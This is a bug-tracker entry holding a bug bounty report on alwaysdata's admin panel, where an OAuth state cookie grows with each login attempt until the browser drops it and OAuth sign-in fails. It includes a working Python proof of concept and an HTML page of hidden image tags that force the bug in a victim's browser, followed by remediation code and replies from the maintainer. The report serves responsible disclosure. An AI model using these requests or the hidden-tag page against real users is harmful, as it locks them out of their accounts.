- Status Closed
-
Assigned To
nferrari - Private
Opened by cyberzod - 25.06.2026
Last edited by nferrari - 02.07.2026
FS#350 - OAuth State Cookie Unbounded Growth (Authentication DoS)
# OAuth State Cookie Unbounded Growth (Authentication DoS)
—
## Submission Details
| Field | Value |
| ——- | ——- |
| Title | OAuth State Cookie Unbounded Growth Leading to Authentication DoS |
| Severity | Low |
| CVSS Score | 4.3 |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L |
| CWE | CWE-400 - Uncontrolled Resource Consumption |
| Endpoint | `GET /oauth/google/login/?next=/` |
| Date Discovered | 2026-06-24 |
| Status | ✅ Confirmed |
—
## 1. Description
When a user initiates Google OAuth login on the alwaysdata admin panel, the server generates an OAuth `state` parameter (a random nonce that protects against CSRF in the OAuth flow) and stores it in a browser cookie (`google_state`).
The vulnerability: Instead of replacing the previous state cookie when a new OAuth flow is started, the server wraps the existing cookie value in a new JSON layer, causing unbounded growth:
```
First click: {"state": "ABC123", "next": "/"}
Second click: {"state": "XYZ789", "next": "/", "previous": {"state": "ABC123", "next": "/"}}
Third click: {"state": "DEF456", "next": "/", "previous": {"state": "XYZ789", …, "previous": {…}}}
```
Each initiation adds ~600 bytes to the cookie. After ~8 initiations, the cookie exceeds the 4 KB browser limit. The browser silently drops the oversized cookie. Subsequent OAuth login attempts fail silently — the state parameter can't be verified, so the flow is aborted.
—
## 2. Steps to Reproduce
### Step 1: Initiate OAuth Login
```http
GET /oauth/google/login/?next=/ HTTP/2
Host: admin.alwaysdata.com
```
Response: ```http
HTTP/2 302 Found
Location: https://accounts.google.com/… Set-Cookie: google_state={"state":"ABC123","next":"/"}
```
### Step 2: Repeatedly Initiate OAuth (8+ times)
Each reload adds a nested `previous` layer to the cookie.
### Step 3: Observe Cookie Growth
| Iteration | Cookie Size | Status |
| ———– | ————- | ——– |
| 1 | 216 bytes | Normal |
| 2 | 422 bytes | Growing |
| 3 | 694 bytes | Growing |
| 4 | 1,058 bytes | Growing |
| 5 | 1,542 bytes | Growing |
| 6 | 2,184 bytes | Growing |
| 7 | 3,046 bytes | Growing |
| 8 | 4,194 bytes | ❌ OVER 4KB |
| 9 | 5,720 bytes | ❌ OVER 4KB |
### Step 4: Attempt OAuth Login
After the cookie exceeds 4KB, the browser drops it. The OAuth callback fails because the `state` parameter cannot be verified.
—
## 3. Proof of Concept
### Python PoC
```python
import requests
s = requests.Session()
for i in range(10):
r = s.get(
"https://admin.alwaysdata.com/oauth/google/login/?next=/",
allow_redirects=False,
timeout=10
)
state_cookie = s.cookies.get("google_state", "")
size = len(state_cookie)
print(f"Iteration {i+1}: cookie={size} bytes")
if size > 4096:
print(f" >>> OVER 4KB LIMIT <<<")
```
### PoC Output
```
Iteration 1: cookie=216 bytes
Iteration 2: cookie=422 bytes
Iteration 3: cookie=694 bytes
Iteration 4: cookie=1058 bytes
Iteration 5: cookie=1542 bytes
Iteration 6: cookie=2184 bytes
Iteration 7: cookie=3046 bytes
Iteration 8: cookie=4194 bytes
>>> OVER 4KB LIMIT <<<
Iteration 9: cookie=5720 bytes
>>> OVER 4KB LIMIT <<<
```
### Apple OAuth Also Affected
```python
# Apple OAuth shows same pattern (though stops growing at 3046 bytes)
for i in range(10):
r = s.get(
"https://admin.alwaysdata.com/oauth/apple/login/?next=/",
allow_redirects=False,
timeout=10
)
state_cookie = s.cookies.get("apple_state", "")
print(f"Apple iteration {i+1}: {len(state_cookie)} bytes")
```
—
## 4. Attack Scenario
### Victim Perspective
1. Victim visits an attacker-controlled page
2. Page contains 8+ hidden image tags loading the OAuth URL:
```html <img src="https://admin.alwaysdata.com/oauth/google/login/?next=/" style="display:none"> <img src="https://admin.alwaysdata.com/oauth/google/login/?next=/" style="display:none"> <!-- repeated 8+ times --> ```
3. Each load inflates the `google_state` cookie
4. Cookie exceeds 4KB and is dropped by browser
5. Victim later tries to log in via Google OAuth → fails silently
### Result
The victim cannot authenticate via Google OAuth until they manually clear the `google_state` cookie.
—
## 5. Impact
| Impact | Description |
| ——– | ————- |
| Authentication DoS | Users cannot log in via Google/Apple OAuth |
| Silent Failure | No error message - OAuth flow just fails |
| Persistent | Cookie remains oversized until manually cleared |
| User Interaction Required | Victim must visit attacker-controlled page |
| Recovery | Manual cookie clearing required |
### CVSS Score Breakdown
```
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
```
| Metric | Value | Rationale |
| ——– | ——- | ———– |
| Attack Vector | Network (N) | Exploitable over network |
| Attack Complexity | Low (L) | Simple image tags |
| Privileges Required | None (N) | No authentication needed |
| User Interaction | Required (R) | Victim must visit page |
| Scope | Unchanged (U) | Affects victim's browser only |
| Confidentiality | None (N) | No data exposure |
| Integrity | None (N) | No data modification |
| Availability | Low (L) | OAuth login DoS only |
Score: 4.3 (Low)
—
## 6. Remediation Recommendations
### 1. Replace Instead of Nest
```python
# VULNERABLE - nests existing state
def initiate_oauth(request):
new_state = generate_random_token()
existing_state = request.COOKIES.get('google_state', '{}')
new_cookie_value = json.dumps({
"state": new_state,
"next": request.GET.get('next', '/'),
"previous": json.loads(existing_state) # <-- Bug: unbounded nesting
})
response.set_cookie('google_state', new_cookie_value)
return response
# SECURE - replaces state
def initiate_oauth(request):
new_state = generate_random_token()
new_cookie_value = json.dumps({
"state": new_state,
"next": request.GET.get('next', '/')
})
response.set_cookie('google_state', new_cookie_value, max_age=600)
return response
```
### 2. Set Short Cookie TTL
```python
response.set_cookie('google_state', new_cookie_value, max_age=600) # 10 minutes
```
### 3. Use Stateless State Token
```python
# Use signed JWT instead of stored state
state_token = jwt.encode({
'state': new_state, 'next': next_url, 'exp': time.time() + 600
}, SECRET_KEY, algorithm='HS256')
response.set_cookie('google_state', state_token, max_age=600)
```
### 4. Limit Cookie Size
```python
# Monitor cookie size and reject if too large
if len(existing_state) > 2000:
existing_state = "{}" # Reset if too large
```
—
## 7. Evidence Summary
| Evidence | Status |
| ———- | ——– |
| Cookie grows with each OAuth initiation | ✅ |
| Cookie exceeds 4KB after ~8 iterations | ✅ |
| Google OAuth affected | ✅ |
| Apple OAuth affected | ✅ |
| Cookie contains nested JSON | ✅ |
### Test Data
| Iteration | google_state Size | Status |
| ———– | ——————- | ——– |
| 1 | 216 bytes | ✅ |
| 2 | 422 bytes | ✅ |
| 3 | 694 bytes | ✅ |
| 4 | 1,058 bytes | ✅ |
| 5 | 1,542 bytes | ✅ |
| 6 | 2,184 bytes | ✅ |
| 7 | 3,046 bytes | ✅ |
| 8 | 4,194 bytes | ❌ OVER LIMIT |
| 9 | 5,720 bytes | ❌ |
—
## 8. References
- CWE-400: https://cwe.mitre.org/data/definitions/400.html - OWASP Denial of Service: https://owasp.org/www-community/attacks/Denial_of_Service - Browser Cookie Limits: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
—
## 9. Contact Information
| Field | Value |
| ——- | ——- |
| Researcher | michenhenryyissuehunt@gmail.com |
| Test Account | cyberzod (ID 482835) |
| Submission Date | 2026-06-24 |
| Program | alwaysdata Bug Bounty Program |
—
## 10. Conclusion
Finding is CONFIRMED.
The `google_state` cookie grows unbounded with each OAuth initiation, exceeding the 4KB browser limit after approximately 8 iterations. This enables a Denial of Service attack against Google and Apple OAuth login functionality.
An attacker can trigger this by loading the OAuth initiation URL 8+ times in a victim's browser (via hidden image tags), causing the cookie to be dropped and OAuth login to fail silently.
Severity: Low (CVSS 4.3) - Authentication convenience DoS only. No account access or data exposure.
—
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task
Hi,
Thank you for your report, we will address it shortly and come back to you.
Regards,
Hi, Your report is in progress, can you please open a ticket on alwaysdata administration panel? Thank you
Hi nferrari,
Thank you for the update. I have opened the ticket on the alwaysdata administration panel as requested to help coordinate the fix.
For the team's reference, the administration ticket details are linked back to this finding (
FS#350). Please let me know if you need any further information or testing from my end.